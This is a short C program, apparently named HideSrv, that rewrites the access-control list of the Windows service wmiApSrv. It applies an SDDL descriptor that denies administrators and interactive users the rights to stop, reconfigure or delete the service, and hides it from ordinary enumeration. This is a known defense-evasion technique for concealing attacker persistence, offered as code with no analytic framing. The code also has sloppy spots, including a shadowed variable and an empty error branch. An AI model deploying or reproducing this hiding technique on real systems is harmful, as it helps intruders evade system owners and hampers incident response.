#include <windows.h>
#include <stdio.h>
#include <AccCtrl.h>
#include <sddl.h>
#include <aclapi.h>
#include "HideSrv.h"
BOOL
AdjustAccessRights(
char
*lpszServiceName)
{
BOOL
bDaclPresent = FALSE;
BOOL
bDaclDefaulted = FALSE;
SC_HANDLE
schManager = NULL;
SC_HANDLE
schService = NULL;
PACL pacl = NULL;
PACL pnewacl = NULL;
EXPLICIT_ACCESS exa;
DWORD
dwSize = 0;
DWORD
code = ERROR_SUCCESS;
SECURITY_DESCRIPTOR sd;
PSECURITY_DESCRIPTOR psdesc = NULL;
BOOL
bError = FALSE;
memset
(&exa, 0,
sizeof
(exa));
memset
(&sd, 0,
sizeof
(sd));
schManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if
(!schManager)
{
bError = TRUE;
}
if
(!bError)
{
schService = OpenService(schManager, lpszServiceName, READ_CONTROL | WRITE_DAC);
if
(!schService)
{
bError = TRUE;
}
}
if
(!bError)
{
if
(!QueryServiceObjectSecurity(schService, DACL_SECURITY_INFORMATION, &sd, 0, &dwSize))
{
if
(GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
psdesc = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
if
(psdesc == NULL)
{
bError = TRUE;
}
if
(!QueryServiceObjectSecurity(schService, DACL_SECURITY_INFORMATION, psdesc, dwSize, &dwSize))
{
bError = TRUE;
}
}
else
{
bError = TRUE;
}
}
}
if
(!bError)
{
wchar_t
sddl[] = L
"D:(D;;DCWPDTSD;;;IU)(D;;DCWPDTSD;;;SU)(D;;DCWPDTSD;;;BA)(A;;CCSWLOCRRC;;;IU)(A;;CCSWLOCRRC;;;SU)(A;;CCSWRPWPDTLOCRRC;;;SY)(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;BA)"
;
PSECURITY_DESCRIPTOR sd = nullptr;
DWORD
SecurityDescriptorSize = 0;
if
(!ConvertStringSecurityDescriptorToSecurityDescriptorW(sddl, SDDL_REVISION_1, &sd, &SecurityDescriptorSize))
{
}
if
(!SetServiceObjectSecurity(schService, DACL_SECURITY_INFORMATION, sd))
{
bError = TRUE;
}
}
if
(pnewacl)
{
LocalFree(pnewacl);
}
if
(psdesc)
{
HeapFree(GetProcessHeap(), 0, psdesc);
}
if
(schService)
{
CloseServiceHandle(schService);
}
if
(schManager)
{
CloseServiceHandle(schManager);
}
return
(bError);
}
int
main()
{
printf
(
"hide ret = %d\n"
, AdjustAccessRights(
"wmiApSrv"
));
return
(0);
}